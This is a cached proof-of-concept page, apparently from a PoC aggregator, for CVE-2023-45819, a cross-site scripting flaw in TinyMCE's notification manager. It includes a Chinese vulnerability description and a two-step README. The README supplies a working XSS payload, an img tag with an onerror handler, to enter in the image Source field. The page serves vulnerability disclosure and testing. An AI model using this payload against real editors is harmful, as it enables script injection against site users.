CVE-2023-45819 PoC — Tiny Technologies TinyMCE 跨站脚本漏洞

Source

https://github.com/philipsinnott/cve-2023-45819

Associated Vulnerability

Title:Tiny Technologies TinyMCE 跨站脚本漏洞 (CVE-2023-45819)
Description:Tiny Technologies TinyMCE是美国Tiny Technologies公司的一款富文本编辑器。 TinyMCE 存在安全漏洞，该漏洞源于 TinyMCE 的通知管理器 API 中发现了跨站点脚本 (XSS) 漏洞。

Description

Proof of concept for CVE-2023-45819

Readme

# PoC
1) Click on the “Insert/edit image” button

2) In “Source”, enter the following payload:
```html
blob:<img src=x onerror=alert(document.domain)>
```
## Details
For details, see https://philipsinnott.com/posts/cve-2023-45819/

File Snapshot


 [4.0K]  /data/pocs/8e581d45f0ac80bb5fd6277c31c303f86146aac6
└── [ 239]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!